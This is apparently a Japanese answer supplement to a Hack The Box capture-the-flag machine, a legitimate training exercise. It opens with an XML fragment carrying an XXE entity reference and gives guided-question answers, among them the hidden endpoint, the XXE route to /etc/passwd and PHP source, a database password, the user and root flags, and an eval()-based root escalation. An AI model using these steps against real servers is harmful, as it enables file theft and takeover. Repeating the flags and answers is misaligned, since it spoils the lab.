<contacts>
  <contact>
    <name>Jean &xxe; Dupont</name>
    <phone>00 11 22 33 44</phone>
    <address>42 rue du CTF</address>
    <zipcode>75000</zipcode>
    <city>Paris</city>
  </contact>
</contacts>



[補足] Guided ModeのQA


・Task 1

問題(英語訳):What is the path to the endpoint of the web application that data is submitted to via a POST request from the form on the Bounty Report System - Beta page?
問題(日本語訳):「Bounty Report System - Beta」ページのフォームから POST リクエストを介してデータが送信される Web アプリケーションのエンドポイントへのパスは何ですか?

答え:/tracker_diRbPr00f314.php


・Task 2

問題(英語訳):The data in the POST request is encoded with URL encoding and what other encoding?
問題(日本語訳):POST リクエスト内のデータは URL エンコーディングでエンコードされていますが、他にどのようなエンコーディングが使用されていますか?

答え:base64


・Task 3

問題(英語訳):Looking at the data in the POST request, after URL-decoding and base64-decoding, what is the name of the data format of the data remains?
問題(日本語訳):POST リクエスト内のデータを見て、URL デコードおよび base64 デコード後に残るデータのデータ形式の名前は何ですか?

答え:xml


・Task 4

問題(英語訳):What is the three letter abbreviation for an attack sent in user supplied XML data where external entities are used to read files on the target?
問題(日本語訳):外部エンティティを使用してターゲット上のファイルを読み取る、ユーザー提供の XML データで送信される攻撃の 3 文字の略語は何ですか?

答え:XXE


・Task 5

問題(英語訳):The XXE vulnerability can be validated by reading a known file on the target such as '/etc/passwd', but typically when viewing a PHP file the source code will be hidden. Can this be bypassed to view the source code of the web application PHP files using PHP filters?
問題(日本語訳):XXE脆弱性は、ターゲット上の既知のファイル(例えば「/etc/passwd」)を読み取ることで検証できますが、通常、PHPファイルを表示する場合、ソースコードは非表示になります。PHPフィルターを使用することで、これを回避し、WebアプリケーションのPHPファイルのソースコードを表示することは可能でしょうか?

答え:yes


・Task 6

問題(英語訳):What is the 'dbpassword' value in the file 'db.php'?
問題(日本語訳):ファイル「db.php」の「dbpassword」の値は何ですか?

答え:m19RoAU0hP41A1sTsq6K


・Submit User Flag

問題(英語訳):Submit the flag located in the development user's home directory.
問題(日本語訳):developmentユーザーのホームディレクトリにあるフラグを送信します。

答え:aef4144af49fe0d9af09ce1c03342f06
※「/home/development/user.txt」の内容。


・Task 8

問題(英語訳):What is the filename on the target that we have the ability to run as 'root' without requiring a password?
問題(日本語訳):パスワードを要求せずに「root」として実行できるターゲット上のファイル名は何ですか?

答え:ticketValidator.py


・Task 9

問題(英語訳):Performing code analysis on the 'evaluate()' function in the Python script, which dangerous method is being used that could lead to arbitary code execution?
問題(日本語訳):Python スクリプトの 'evaluate()' 関数のコード分析を実行すると、任意のコード実行につながる可能性のある危険な方法がどれですか?

答え:eval


・Submit Root Flag

問題(英語訳):Submit the flag located in root's home directory.
問題(日本語訳):ルートのホームディレクトリにあるフラグを送信します。

答え:64f2b35adbd3a2a55dd8adcd01aa279e
※「/root/root.txt」の内容。


関連記事(Hack The Box)

※後日作成予定。